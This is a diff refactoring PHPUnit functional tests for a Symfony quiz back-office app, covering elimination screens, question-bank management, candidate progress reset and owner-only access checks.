||||||
|
|
||||||
|
$this->client->request(Request::METHOD_POST, \sprintf('/backoffice/season/krtek/quiz/%s/elimination/prepare', $quiz->id), [
|
||||||
|
'_token' => $token,
|
||||||
|
]);
|
||||||
|
|
||||||
|
$response = $this->client->getResponse();
|
||||||
|
$this->assertTrue($response->isRedirect());
|
||||||
|
$this->assertStringContainsString('/backoffice/elimination/', (string) $response->headers->get('Location'));
|
||||||
|
|
||||||
|
$this->entityManager->clear();
|
||||||
|
$quiz = $this->getQuizByName('Quiz 1');
|
||||||
|
$elimination = $this->entityManager->getRepository(Elimination::class)->findOneBy(['quiz' => $quiz]);
|
||||||
|
$this->assertInstanceOf(Elimination::class, $elimination);
|
||||||
|
$this->assertArrayHasKey('Tom', $elimination->data);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testViewEliminationPageLoads(): void
|
||||||
|
{
|
||||||
|
$quiz = $this->getQuizByName('Quiz 1');
|
||||||
|
$elimination = new Elimination($quiz);
|
||||||
|
$elimination->data = ['Tom' => Elimination::SCREEN_GREEN];
|
||||||
|
|
||||||
|
$this->entityManager->persist($elimination);
|
||||||
|
$this->entityManager->flush();
|
||||||
|
|
||||||
|
$this->client->request(Request::METHOD_GET, \sprintf('/backoffice/elimination/%s', $elimination->id));
|
||||||
|
|
||||||
|
self::assertResponseIsSuccessful();
|
||||||
|
self::assertSelectorExists('form');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testViewEliminationSavesUpdatedColours(): void
|
||||||
|
{
|
||||||
|
$quiz = $this->getQuizByName('Quiz 1');
|
||||||
|
$elimination = new Elimination($quiz);
|
||||||
|
$elimination->data = ['Tom' => Elimination::SCREEN_GREEN];
|
||||||
|
|
||||||
|
$this->entityManager->persist($elimination);
|
||||||
|
$this->entityManager->flush();
|
||||||
|
|
||||||
|
$token = $this->getTokenFromPage(\sprintf('/backoffice/elimination/%s', $elimination->id));
|
||||||
|
|
||||||
|
$this->client->request(Request::METHOD_POST, \sprintf('/backoffice/elimination/%s', $elimination->id), [
|
||||||
|
'_token' => $token,
|
||||||
|
'colour-tom' => Elimination::SCREEN_RED,
|
||||||
|
'start' => '0',
|
||||||
|
]);
|
||||||
|
|
||||||
|
self::assertResponseRedirects(\sprintf('/backoffice/elimination/%s', $elimination->id));
|
||||||
|
$this->entityManager->clear();
|
||||||
|
|
||||||
|
$updated = $this->entityManager->getRepository(Elimination::class)->find($elimination->id);
|
||||||
|
$this->assertInstanceOf(Elimination::class, $updated);
|
||||||
|
$this->assertSame(Elimination::SCREEN_RED, $updated->data['Tom']);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testViewEliminationWithStartRedirectsToPublicElimination(): void
|
||||||
|
{
|
||||||
|
$quiz = $this->getQuizByName('Quiz 1');
|
||||||
|
$elimination = new Elimination($quiz);
|
||||||
|
$elimination->data = ['Tom' => Elimination::SCREEN_GREEN];
|
||||||
|
|
||||||
|
$this->entityManager->persist($elimination);
|
||||||
|
$this->entityManager->flush();
|
||||||
|
|
||||||
|
$token = $this->getTokenFromPage(\sprintf('/backoffice/elimination/%s', $elimination->id));
|
||||||
|
|
||||||
|
$this->client->request(Request::METHOD_POST, \sprintf('/backoffice/elimination/%s', $elimination->id), [
|
||||||
|
'_token' => $token,
|
||||||
|
'start' => '1',
|
||||||
|
]);
|
||||||
|
|
||||||
|
self::assertResponseRedirects(\sprintf('/elimination/%s', $elimination->id));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testIndexIsDeniedForNonOwner(): void
|
||||||
|
{
|
||||||
|
$quiz = $this->getQuizByName('Quiz 1');
|
||||||
|
$token = $this->getCsrfTokenFromPage(\sprintf('/backoffice/season/krtek/quiz/%s/result', $quiz->id), '/elimination/prepare');
|
||||||
|
|
||||||
|
$this->loginAs('test@example.org');
|
||||||
|
|
||||||
|
$this->client->request(Request::METHOD_POST, \sprintf('/backoffice/season/krtek/quiz/%s/elimination/prepare', $quiz->id), [
|
||||||
|
'_token' => $token,
|
||||||
|
]);
|
||||||
|
|
||||||
|
self::assertResponseStatusCodeSame(403);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testViewEliminationIsDeniedForNonOwner(): void
|
||||||
|
{
|
||||||
|
$quiz = $this->getQuizByName('Quiz 1');
|
||||||
|
$elimination = new Elimination($quiz);
|
||||||
|
$elimination->data = ['Tom' => Elimination::SCREEN_GREEN];
|
||||||
|
|
||||||
|
$this->entityManager->persist($elimination);
|
||||||
|
$this->entityManager->flush();
|
||||||
|
|
||||||
|
$this->loginAs('test@example.org');
|
||||||
|
|
||||||
|
$this->client->request(Request::METHOD_GET, \sprintf('/backoffice/elimination/%s', $elimination->id));
|
||||||
|
|
||||||
|
self::assertResponseStatusCodeSame(403);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -4,39 +4,18 @@ declare(strict_types=1);
|
|||||||
|
|
||||||
namespace Tvdt\Tests\Controller\Backoffice;
|
namespace Tvdt\Tests\Controller\Backoffice;
|
||||||
|
|
||||||
use Doctrine\ORM\EntityManagerInterface;
|
|
||||||
use PHPUnit\Framework\Attributes\CoversClass;
|
use PHPUnit\Framework\Attributes\CoversClass;
|
||||||
use Symfony\Bundle\FrameworkBundle\KernelBrowser;
|
|
||||||
use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
|
|
||||||
use Symfony\Component\HttpFoundation\Request;
|
use Symfony\Component\HttpFoundation\Request;
|
||||||
use Tvdt\Controller\Backoffice\QuestionBankController;
|
use Tvdt\Controller\Backoffice\QuestionBankController;
|
||||||
use Tvdt\Entity\BankAnswer;
|
use Tvdt\Entity\BankAnswer;
|
||||||
use Tvdt\Entity\BankQuestion;
|
use Tvdt\Entity\BankQuestion;
|
||||||
use Tvdt\Entity\Question;
|
use Tvdt\Entity\Question;
|
||||||
use Tvdt\Entity\QuestionLabel;
|
use Tvdt\Entity\QuestionLabel;
|
||||||
use Tvdt\Entity\Quiz;
|
use Tvdt\Tests\Controller\AbstractControllerWebTestCase;
|
||||||
use Tvdt\Entity\User;
|
|
||||||
|
|
||||||
#[CoversClass(QuestionBankController::class)]
|
#[CoversClass(QuestionBankController::class)]
|
||||||
final class QuestionBankControllerTest extends WebTestCase
|
final class QuestionBankControllerTest extends AbstractControllerWebTestCase
|
||||||
{
|
{
|
||||||
private KernelBrowser $client;
|
|
||||||
|
|
||||||
private EntityManagerInterface $entityManager;
|
|
||||||
|
|
||||||
protected function setUp(): void
|
|
||||||
{
|
|
||||||
$this->client = self::createClient();
|
|
||||||
$this->entityManager = self::getContainer()->get(EntityManagerInterface::class);
|
|
||||||
}
|
|
||||||
|
|
||||||
private function loginAsOwner(): void
|
|
||||||
{
|
|
||||||
$user = $this->entityManager->getRepository(User::class)->findOneBy(['email' => 'krtek-admin@example.org']);
|
|
||||||
$this->assertInstanceOf(User::class, $user);
|
|
||||||
$this->client->loginUser($user);
|
|
||||||
}
|
|
||||||
|
|
||||||
private function getBankQuestion(string $question): BankQuestion
|
private function getBankQuestion(string $question): BankQuestion
|
||||||
{
|
{
|
||||||
$bankQuestion = $this->entityManager->getRepository(BankQuestion::class)->findOneBy(['question' => $question]);
|
$bankQuestion = $this->entityManager->getRepository(BankQuestion::class)->findOneBy(['question' => $question]);
|
||||||
@@ -45,26 +24,9 @@ final class QuestionBankControllerTest extends WebTestCase
|
|||||||
return $bankQuestion;
|
return $bankQuestion;
|
||||||
}
|
}
|
||||||
|
|
||||||
private function getQuizByName(string $name): Quiz
|
|
||||||
{
|
|
||||||
$quiz = $this->entityManager->getRepository(Quiz::class)->findOneBy(['name' => $name]);
|
|
||||||
$this->assertInstanceOf(Quiz::class, $quiz);
|
|
||||||
|
|
||||||
return $quiz;
|
|
||||||
}
|
|
||||||
|
|
||||||
private function getCsrfToken(string $formActionContains): string
|
|
||||||
{
|
|
||||||
$crawler = $this->client->getCrawler();
|
|
||||||
$input = $crawler->filter(\sprintf('form[action*="%s"] input[name="_token"]', $formActionContains));
|
|
||||||
$this->assertGreaterThan(0, $input->count(), \sprintf('No form found with action containing "%s"', $formActionContains));
|
|
||||||
|
|
||||||
return (string) $input->first()->attr('value');
|
|
||||||
}
|
|
||||||
|
|
||||||
public function testIndexListsBankQuestions(): void
|
public function testIndexListsBankQuestions(): void
|
||||||
{
|
{
|
||||||
$this->loginAsOwner();
|
$this->loginAs('krtek-admin@example.org');
|
||||||
$this->client->request(Request::METHOD_GET, '/backoffice/season/krtek/question-bank');
|
$this->client->request(Request::METHOD_GET, '/backoffice/season/krtek/question-bank');
|
||||||
|
|
||||||
$this->assertResponseIsSuccessful();
|
$this->assertResponseIsSuccessful();
|
||||||
@@ -75,7 +37,7 @@ final class QuestionBankControllerTest extends WebTestCase
|
|||||||
|
|
||||||
public function testIndexFiltersByLabel(): void
|
public function testIndexFiltersByLabel(): void
|
||||||
{
|
{
|
||||||
$this->loginAsOwner();
|
$this->loginAs('krtek-admin@example.org');
|
||||||
$label = $this->entityManager->getRepository(QuestionLabel::class)->findOneBy(['name' => 'Locatie']);
|
$label = $this->entityManager->getRepository(QuestionLabel::class)->findOneBy(['name' => 'Locatie']);
|
||||||
$this->assertInstanceOf(QuestionLabel::class, $label);
|
$this->assertInstanceOf(QuestionLabel::class, $label);
|
||||||
|
|
||||||
@@ -89,9 +51,7 @@ final class QuestionBankControllerTest extends WebTestCase
|
|||||||
|
|
||||||
public function testNonOwnerIsDenied(): void
|
public function testNonOwnerIsDenied(): void
|
||||||
{
|
{
|
||||||
$user = $this->entityManager->getRepository(User::class)->findOneBy(['email' => 'test@example.org']);
|
$this->loginAs('test@example.org');
|
||||||
$this->assertInstanceOf(User::class, $user);
|
|
||||||
$this->client->loginUser($user);
|
|
||||||
|
|
||||||
$this->client->request(Request::METHOD_GET, '/backoffice/season/krtek/question-bank');
|
$this->client->request(Request::METHOD_GET, '/backoffice/season/krtek/question-bank');
|
||||||
|
|
||||||
@@ -100,7 +60,7 @@ final class QuestionBankControllerTest extends WebTestCase
|
|||||||
|
|
||||||
public function testCreateBankQuestion(): void
|
public function testCreateBankQuestion(): void
|
||||||
{
|
{
|
||||||
$this->loginAsOwner();
|
$this->loginAs('krtek-admin@example.org');
|
||||||
$crawler = $this->client->request(Request::METHOD_GET, '/backoffice/season/krtek/question-bank/new');
|
$crawler = $this->client->request(Request::METHOD_GET, '/backoffice/season/krtek/question-bank/new');
|
||||||
$this->assertResponseIsSuccessful();
|
$this->assertResponseIsSuccessful();
|
||||||
|
|
||||||
@@ -129,7 +89,7 @@ final class QuestionBankControllerTest extends WebTestCase
|
|||||||
|
|
||||||
public function testCreateAllowedWithoutCorrectAnswer(): void
|
public function testCreateAllowedWithoutCorrectAnswer(): void
|
||||||
{
|
{
|
||||||
$this->loginAsOwner();
|
$this->loginAs('krtek-admin@example.org');
|
||||||
$crawler = $this->client->request(Request::METHOD_GET, '/backoffice/season/krtek/question-bank/new');
|
$crawler = $this->client->request(Request::METHOD_GET, '/backoffice/season/krtek/question-bank/new');
|
||||||
$token = (string) $crawler->filter('input[name="bank_question_form[_token]"]')->attr('value');
|
$token = (string) $crawler->filter('input[name="bank_question_form[_token]"]')->attr('value');
|
||||||
|
|
||||||
@@ -145,6 +105,7 @@ final class QuestionBankControllerTest extends WebTestCase
|
|||||||
]);
|
]);
|
||||||
|
|
||||||
$this->assertResponseRedirects();
|
$this->assertResponseRedirects();
|
||||||
|
$this->entityManager->clear();
|
||||||
$saved = $this->entityManager->getRepository(BankQuestion::class)->findOneBy(['question' => 'Vraag zonder goed antwoord']);
|
$saved = $this->entityManager->getRepository(BankQuestion::class)->findOneBy(['question' => 'Vraag zonder goed antwoord']);
|
||||||
$this->assertInstanceOf(BankQuestion::class, $saved);
|
$this->assertInstanceOf(BankQuestion::class, $saved);
|
||||||
$this->assertFalse($saved->isCompleteForQuiz);
|
$this->assertFalse($saved->isCompleteForQuiz);
|
||||||
@@ -152,7 +113,7 @@ final class QuestionBankControllerTest extends WebTestCase
|
|||||||
|
|
||||||
public function testEditBankQuestion(): void
|
public function testEditBankQuestion(): void
|
||||||
{
|
{
|
||||||
$this->loginAsOwner();
|
$this->loginAs('krtek-admin@example.org');
|
||||||
$bankQuestion = $this->getBankQuestion('Wat at de Krtek als ontbijt?');
|
$bankQuestion = $this->getBankQuestion('Wat at de Krtek als ontbijt?');
|
||||||
|
|
||||||
$url = \sprintf('/backoffice/season/krtek/question-bank/%s/edit', $bankQuestion->id);
|
$url = \sprintf('/backoffice/season/krtek/question-bank/%s/edit', $bankQuestion->id);
|
||||||
@@ -181,12 +142,12 @@ final class QuestionBankControllerTest extends WebTestCase
|
|||||||
|
|
||||||
public function testDeleteUsedBankQuestionLeavesQuizIntact(): void
|
public function testDeleteUsedBankQuestionLeavesQuizIntact(): void
|
||||||
{
|
{
|
||||||
$this->loginAsOwner();
|
$this->loginAs('krtek-admin@example.org');
|
||||||
$bankQuestion = $this->getBankQuestion('Waar sliep de Krtek?');
|
$bankQuestion = $this->getBankQuestion('Waar sliep de Krtek?');
|
||||||
$quiz2QuestionCount = $this->getQuizByName('Quiz 2')->questions->count();
|
$quiz2QuestionCount = $this->getQuizByName('Quiz 2')->questions->count();
|
||||||
|
|
||||||
$this->client->request(Request::METHOD_GET, '/backoffice/season/krtek/question-bank');
|
$this->client->request(Request::METHOD_GET, '/backoffice/season/krtek/question-bank');
|
||||||
$token = $this->getCsrfToken(\sprintf('%s/delete', $bankQuestion->id));
|
$token = $this->getCsrfTokenFromCurrentPage(\sprintf('%s/delete', $bankQuestion->id));
|
||||||
|
|
||||||
$this->client->request(Request::METHOD_POST, \sprintf('/backoffice/season/krtek/question-bank/%s/delete', $bankQuestion->id), [
|
$this->client->request(Request::METHOD_POST, \sprintf('/backoffice/season/krtek/question-bank/%s/delete', $bankQuestion->id), [
|
||||||
'_token' => $token,
|
'_token' => $token,
|
||||||
@@ -201,13 +162,13 @@ final class QuestionBankControllerTest extends WebTestCase
|
|||||||
|
|
||||||
public function testAssignCopiesQuestionIntoQuiz(): void
|
public function testAssignCopiesQuestionIntoQuiz(): void
|
||||||
{
|
{
|
||||||
$this->loginAsOwner();
|
$this->loginAs('krtek-admin@example.org');
|
||||||
$bankQuestion = $this->getBankQuestion('Wat at de Krtek als ontbijt?');
|
$bankQuestion = $this->getBankQuestion('Wat at de Krtek als ontbijt?');
|
||||||
$quiz = $this->getQuizByName('Quiz 2');
|
$quiz = $this->getQuizByName('Quiz 2');
|
||||||
$questionCount = $quiz->questions->count();
|
$questionCount = $quiz->questions->count();
|
||||||
|
|
||||||
$this->client->request(Request::METHOD_GET, '/backoffice/season/krtek/question-bank');
|
$this->client->request(Request::METHOD_GET, '/backoffice/season/krtek/question-bank');
|
||||||
$token = $this->getCsrfToken(\sprintf('%s/assign', $bankQuestion->id));
|
$token = $this->getCsrfTokenFromCurrentPage(\sprintf('%s/assign', $bankQuestion->id));
|
||||||
|
|
||||||
$this->client->request(Request::METHOD_POST, \sprintf('/backoffice/season/krtek/question-bank/%s/assign', $bankQuestion->id), [
|
$this->client->request(Request::METHOD_POST, \sprintf('/backoffice/season/krtek/question-bank/%s/assign', $bankQuestion->id), [
|
||||||
'_token' => $token,
|
'_token' => $token,
|
||||||
@@ -240,7 +201,7 @@ final class QuestionBankControllerTest extends WebTestCase
|
|||||||
|
|
||||||
public function testAssignUsedNonReusableQuestionIsRefused(): void
|
public function testAssignUsedNonReusableQuestionIsRefused(): void
|
||||||
{
|
{
|
||||||
$this->loginAsOwner();
|
$this->loginAs('krtek-admin@example.org');
|
||||||
$bankQuestion = $this->getBankQuestion('Waar sliep de Krtek?');
|
$bankQuestion = $this->getBankQuestion('Waar sliep de Krtek?');
|
||||||
$quiz = $this->getQuizByName('Quiz 2');
|
$quiz = $this->getQuizByName('Quiz 2');
|
||||||
$questionCount = $quiz->questions->count();
|
$questionCount = $quiz->questions->count();
|
||||||
@@ -248,7 +209,7 @@ final class QuestionBankControllerTest extends WebTestCase
|
|||||||
$this->client->request(Request::METHOD_GET, '/backoffice/season/krtek/question-bank');
|
$this->client->request(Request::METHOD_GET, '/backoffice/season/krtek/question-bank');
|
||||||
|
|
||||||
// The assign form is not rendered for used questions, so post with another form's token
|
// The assign form is not rendered for used questions, so post with another form's token
|
||||||
$token = $this->getCsrfToken('/assign');
|
$token = $this->getCsrfTokenFromCurrentPage('/assign');
|
||||||
$this->client->request(Request::METHOD_POST, \sprintf('/backoffice/season/krtek/question-bank/%s/assign', $bankQuestion->id), [
|
$this->client->request(Request::METHOD_POST, \sprintf('/backoffice/season/krtek/question-bank/%s/assign', $bankQuestion->id), [
|
||||||
'_token' => $token,
|
'_token' => $token,
|
||||||
'quiz' => (string) $quiz->id,
|
'quiz' => (string) $quiz->id,
|
||||||
@@ -262,13 +223,13 @@ final class QuestionBankControllerTest extends WebTestCase
|
|||||||
|
|
||||||
public function testAssignSameReusableQuestionTwiceToSameQuizIsRefused(): void
|
public function testAssignSameReusableQuestionTwiceToSameQuizIsRefused(): void
|
||||||
{
|
{
|
||||||
$this->loginAsOwner();
|
$this->loginAs('krtek-admin@example.org');
|
||||||
$bankQuestion = $this->getBankQuestion('Wie is de Krtek?');
|
$bankQuestion = $this->getBankQuestion('Wie is de Krtek?');
|
||||||
$quiz = $this->getQuizByName('Quiz 2');
|
$quiz = $this->getQuizByName('Quiz 2');
|
||||||
$questionCount = $quiz->questions->count();
|
$questionCount = $quiz->questions->count();
|
||||||
|
|
||||||
$this->client->request(Request::METHOD_GET, '/backoffice/season/krtek/question-bank');
|
$this->client->request(Request::METHOD_GET, '/backoffice/season/krtek/question-bank');
|
||||||
$token = $this->getCsrfToken(\sprintf('%s/assign', $bankQuestion->id));
|
$token = $this->getCsrfTokenFromCurrentPage(\sprintf('%s/assign', $bankQuestion->id));
|
||||||
|
|
||||||
$url = \sprintf('/backoffice/season/krtek/question-bank/%s/assign', $bankQuestion->id);
|
$url = \sprintf('/backoffice/season/krtek/question-bank/%s/assign', $bankQuestion->id);
|
||||||
$this->client->request(Request::METHOD_POST, $url, ['_token' => $token, 'quiz' => (string) $quiz->id]);
|
$this->client->request(Request::METHOD_POST, $url, ['_token' => $token, 'quiz' => (string) $quiz->id]);
|
||||||
@@ -283,13 +244,13 @@ final class QuestionBankControllerTest extends WebTestCase
|
|||||||
|
|
||||||
public function testAssignIntoFinalizedQuizIsDenied(): void
|
public function testAssignIntoFinalizedQuizIsDenied(): void
|
||||||
{
|
{
|
||||||
$this->loginAsOwner();
|
$this->loginAs('krtek-admin@example.org');
|
||||||
$bankQuestion = $this->getBankQuestion('Wie is de Krtek?');
|
$bankQuestion = $this->getBankQuestion('Wie is de Krtek?');
|
||||||
$finalizedQuiz = $this->getQuizByName('Quiz 1');
|
$finalizedQuiz = $this->getQuizByName('Quiz 1');
|
||||||
$this->assertTrue($finalizedQuiz->isFinalized);
|
$this->assertTrue($finalizedQuiz->isFinalized);
|
||||||
|
|
||||||
$this->client->request(Request::METHOD_GET, '/backoffice/season/krtek/question-bank');
|
$this->client->request(Request::METHOD_GET, '/backoffice/season/krtek/question-bank');
|
||||||
$token = $this->getCsrfToken(\sprintf('%s/assign', $bankQuestion->id));
|
$token = $this->getCsrfTokenFromCurrentPage(\sprintf('%s/assign', $bankQuestion->id));
|
||||||
|
|
||||||
$this->client->request(Request::METHOD_POST, \sprintf('/backoffice/season/krtek/question-bank/%s/assign', $bankQuestion->id), [
|
$this->client->request(Request::METHOD_POST, \sprintf('/backoffice/season/krtek/question-bank/%s/assign', $bankQuestion->id), [
|
||||||
'_token' => $token,
|
'_token' => $token,
|
||||||
@@ -301,7 +262,7 @@ final class QuestionBankControllerTest extends WebTestCase
|
|||||||
|
|
||||||
public function testCreateBankQuestionPreservesAnswerOrdering(): void
|
public function testCreateBankQuestionPreservesAnswerOrdering(): void
|
||||||
{
|
{
|
||||||
$this->loginAsOwner();
|
$this->loginAs('krtek-admin@example.org');
|
||||||
$crawler = $this->client->request(Request::METHOD_GET, '/backoffice/season/krtek/question-bank/new');
|
$crawler = $this->client->request(Request::METHOD_GET, '/backoffice/season/krtek/question-bank/new');
|
||||||
$this->assertResponseIsSuccessful();
|
$this->assertResponseIsSuccessful();
|
||||||
$token = (string) $crawler->filter('input[name="bank_question_form[_token]"]')->attr('value');
|
$token = (string) $crawler->filter('input[name="bank_question_form[_token]"]')->attr('value');
|
||||||
@@ -334,7 +295,7 @@ final class QuestionBankControllerTest extends WebTestCase
|
|||||||
|
|
||||||
public function testEditBankQuestionPreservesAnswerOrdering(): void
|
public function testEditBankQuestionPreservesAnswerOrdering(): void
|
||||||
{
|
{
|
||||||
$this->loginAsOwner();
|
$this->loginAs('krtek-admin@example.org');
|
||||||
$bankQuestion = $this->getBankQuestion('Wat at de Krtek als ontbijt?');
|
$bankQuestion = $this->getBankQuestion('Wat at de Krtek als ontbijt?');
|
||||||
// Fixture answers in insertion order (all have ordering=0): Brood (correct), Yoghurt, Niks
|
// Fixture answers in insertion order (all have ordering=0): Brood (correct), Yoghurt, Niks
|
||||||
|
|
||||||
@@ -374,7 +335,7 @@ final class QuestionBankControllerTest extends WebTestCase
|
|||||||
|
|
||||||
public function testAddAndDeleteLabel(): void
|
public function testAddAndDeleteLabel(): void
|
||||||
{
|
{
|
||||||
$this->loginAsOwner();
|
$this->loginAs('krtek-admin@example.org');
|
||||||
$crawler = $this->client->request(Request::METHOD_GET, '/backoffice/season/krtek/question-bank');
|
$crawler = $this->client->request(Request::METHOD_GET, '/backoffice/season/krtek/question-bank');
|
||||||
$token = (string) $crawler->filter('form[action$="/question-bank/labels"] input[name="_token"]')->attr('value');
|
$token = (string) $crawler->filter('form[action$="/question-bank/labels"] input[name="_token"]')->attr('value');
|
||||||
|
|
||||||
@@ -389,7 +350,7 @@ final class QuestionBankControllerTest extends WebTestCase
|
|||||||
$this->assertInstanceOf(QuestionLabel::class, $label);
|
$this->assertInstanceOf(QuestionLabel::class, $label);
|
||||||
|
|
||||||
$this->client->request(Request::METHOD_GET, '/backoffice/season/krtek/question-bank');
|
$this->client->request(Request::METHOD_GET, '/backoffice/season/krtek/question-bank');
|
||||||
$deleteToken = $this->getCsrfToken(\sprintf('labels/%s/delete', $label->slug));
|
$deleteToken = $this->getCsrfTokenFromCurrentPage(\sprintf('labels/%s/delete', $label->slug));
|
||||||
|
|
||||||
$this->client->request(Request::METHOD_POST, \sprintf('/backoffice/season/krtek/question-bank/labels/%s/delete', $label->slug), [
|
$this->client->request(Request::METHOD_POST, \sprintf('/backoffice/season/krtek/question-bank/labels/%s/delete', $label->slug), [
|
||||||
'_token' => $deleteToken,
|
'_token' => $deleteToken,
|
||||||
|
|||||||
@@ -4,11 +4,8 @@ declare(strict_types=1);
|
|||||||
|
|
||||||
namespace Tvdt\Tests\Controller\Backoffice;
|
namespace Tvdt\Tests\Controller\Backoffice;
|
||||||
|
|
||||||
use Doctrine\ORM\EntityManagerInterface;
|
|
||||||
use PHPUnit\Framework\Attributes\CoversClass;
|
use PHPUnit\Framework\Attributes\CoversClass;
|
||||||
use Safe\DateTimeImmutable;
|
use Safe\DateTimeImmutable;
|
||||||
use Symfony\Bundle\FrameworkBundle\KernelBrowser;
|
|
||||||
use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
|
|
||||||
use Symfony\Component\HttpFoundation\Request;
|
use Symfony\Component\HttpFoundation\Request;
|
||||||
use Tvdt\Controller\Backoffice\QuizController;
|
use Tvdt\Controller\Backoffice\QuizController;
|
||||||
use Tvdt\Entity\Answer;
|
use Tvdt\Entity\Answer;
|
||||||
@@ -17,51 +14,21 @@ use Tvdt\Entity\GivenAnswer;
|
|||||||
use Tvdt\Entity\Question;
|
use Tvdt\Entity\Question;
|
||||||
use Tvdt\Entity\Quiz;
|
use Tvdt\Entity\Quiz;
|
||||||
use Tvdt\Entity\QuizCandidate;
|
use Tvdt\Entity\QuizCandidate;
|
||||||
use Tvdt\Entity\Season;
|
use Tvdt\Tests\Controller\AbstractControllerWebTestCase;
|
||||||
use Tvdt\Entity\User;
|
|
||||||
|
|
||||||
#[CoversClass(QuizController::class)]
|
#[CoversClass(QuizController::class)]
|
||||||
final class QuizControllerTest extends WebTestCase
|
final class QuizControllerTest extends AbstractControllerWebTestCase
|
||||||
{
|
{
|
||||||
private KernelBrowser $client;
|
|
||||||
|
|
||||||
private EntityManagerInterface $entityManager;
|
|
||||||
|
|
||||||
protected function setUp(): void
|
protected function setUp(): void
|
||||||
{
|
{
|
||||||
$this->client = self::createClient();
|
parent::setUp();
|
||||||
$this->entityManager = self::getContainer()->get(EntityManagerInterface::class);
|
|
||||||
|
|
||||||
$user = $this->entityManager->getRepository(User::class)->findOneBy(['email' => 'krtek-admin@example.org']);
|
$this->loginAs('krtek-admin@example.org');
|
||||||
$this->assertInstanceOf(User::class, $user);
|
|
||||||
$this->client->loginUser($user);
|
|
||||||
}
|
|
||||||
|
|
||||||
private function getQuizByName(string $name): Quiz
|
|
||||||
{
|
|
||||||
$quiz = $this->entityManager->getRepository(Quiz::class)->findOneBy(['name' => $name]);
|
|
||||||
$this->assertInstanceOf(Quiz::class, $quiz);
|
|
||||||
|
|
||||||
return $quiz;
|
|
||||||
}
|
|
||||||
|
|
||||||
private function getCandidate(string $name): Candidate
|
|
||||||
{
|
|
||||||
$candidate = $this->entityManager->getRepository(Candidate::class)->findOneBy(['name' => $name]);
|
|
||||||
$this->assertInstanceOf(Candidate::class, $candidate);
|
|
||||||
|
|
||||||
return $candidate;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private function getCsrfTokenFromOverview(Quiz $quiz, string $formActionContains): string
|
private function getCsrfTokenFromOverview(Quiz $quiz, string $formActionContains): string
|
||||||
{
|
{
|
||||||
$crawler = $this->client->request(Request::METHOD_GET, \sprintf('/backoffice/season/krtek/quiz/%s/overview', $quiz->id));
|
return $this->getCsrfTokenFromPage(\sprintf('/backoffice/season/krtek/quiz/%s/overview', $quiz->id), $formActionContains);
|
||||||
self::assertResponseIsSuccessful();
|
|
||||||
|
|
||||||
$input = $crawler->filter(\sprintf('form[action*="%s"] input[name="_token"]', $formActionContains));
|
|
||||||
$this->assertGreaterThan(0, $input->count(), \sprintf('No form found with action containing "%s"', $formActionContains));
|
|
||||||
|
|
||||||
return (string) $input->first()->attr('value');
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public function testIndexRedirectsToOverview(): void
|
public function testIndexRedirectsToOverview(): void
|
||||||
@@ -206,6 +173,47 @@ final class QuizControllerTest extends WebTestCase
|
|||||||
$this->assertTrue($updated->active);
|
$this->assertTrue($updated->active);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function testResetCandidateProgressDeletesGivenAnswersAndClearsStarted(): void
|
||||||
|
{
|
||||||
|
$quiz = $this->getQuizByName('Quiz 1');
|
||||||
|
$candidate = $this->getCandidate('Tom');
|
||||||
|
|
||||||
|
$quizCandidate = new QuizCandidate($quiz, $candidate);
|
||||||
|
$quizCandidate->started = new DateTimeImmutable();
|
||||||
|
|
||||||
|
$this->entityManager->persist($quizCandidate);
|
||||||
|
$firstQuestion = $quiz->questions->first();
|
||||||
|
$this->assertInstanceOf(Question::class, $firstQuestion);
|
||||||
|
$answer = $firstQuestion->answers->first();
|
||||||
|
$this->assertInstanceOf(Answer::class, $answer);
|
||||||
|
$this->entityManager->persist(new GivenAnswer($candidate, $quiz, $answer));
|
||||||
|
$this->entityManager->flush();
|
||||||
|
|
||||||
|
$crawler = $this->client->request(Request::METHOD_GET, \sprintf('/backoffice/season/krtek/quiz/%s/candidates-list', $quiz->id));
|
||||||
|
self::assertResponseIsSuccessful();
|
||||||
|
$token = (string) $crawler->filter(\sprintf('form[action*="/%s/reset"] input[name="_token"]', $candidate->id))->first()->attr('value');
|
||||||
|
|
||||||
|
$this->client->request(Request::METHOD_POST, \sprintf('/backoffice/quiz/%s/candidate/%s/reset', $quiz->id, $candidate->id), [
|
||||||
|
'_token' => $token,
|
||||||
|
]);
|
||||||
|
|
||||||
|
self::assertResponseRedirects();
|
||||||
|
$this->entityManager->clear();
|
||||||
|
|
||||||
|
$updated = $this->entityManager->getRepository(QuizCandidate::class)->findOneBy([
|
||||||
|
'quiz' => $this->getQuizByName('Quiz 1'),
|
||||||
|
'candidate' => $this->getCandidate('Tom'),
|
||||||
|
]);
|
||||||
|
$this->assertInstanceOf(QuizCandidate::class, $updated);
|
||||||
|
$this->assertNotInstanceOf(\DateTimeImmutable::class, $updated->started);
|
||||||
|
|
||||||
|
$remainingAnswers = $this->entityManager->getRepository(GivenAnswer::class)->findBy([
|
||||||
|
'quiz' => $quiz,
|
||||||
|
'candidate' => $candidate,
|
||||||
|
]);
|
||||||
|
$this->assertCount(0, $remainingAnswers);
|
||||||
|
}
|
||||||
|
|
||||||
public function testModifyCorrection(): void
|
public function testModifyCorrection(): void
|
||||||
{
|
{
|
||||||
$quiz = $this->getQuizByName('Quiz 1');
|
$quiz = $this->getQuizByName('Quiz 1');
|
||||||
@@ -296,9 +304,7 @@ final class QuizControllerTest extends WebTestCase
|
|||||||
|
|
||||||
public function testNonOwnerIsDenied(): void
|
public function testNonOwnerIsDenied(): void
|
||||||
{
|
{
|
||||||
$user = $this->entityManager->getRepository(User::class)->findOneBy(['email' => 'test@example.org']);
|
$this->loginAs('test@example.org');
|
||||||
$this->assertInstanceOf(User::class, $user);
|
|
||||||
$this->client->loginUser($user);
|
|
||||||
|
|
||||||
$quiz = $this->getQuizByName('Quiz 1');
|
$quiz = $this->getQuizByName('Quiz 1');
|
||||||
$this->client->request(Request::METHOD_GET, \sprintf('/backoffice/season/krtek/quiz/%s/overview', $quiz->id));
|
$this->client->request(Request::METHOD_GET, \sprintf('/backoffice/season/krtek/quiz/%s/overview', $quiz->id));
|
||||||
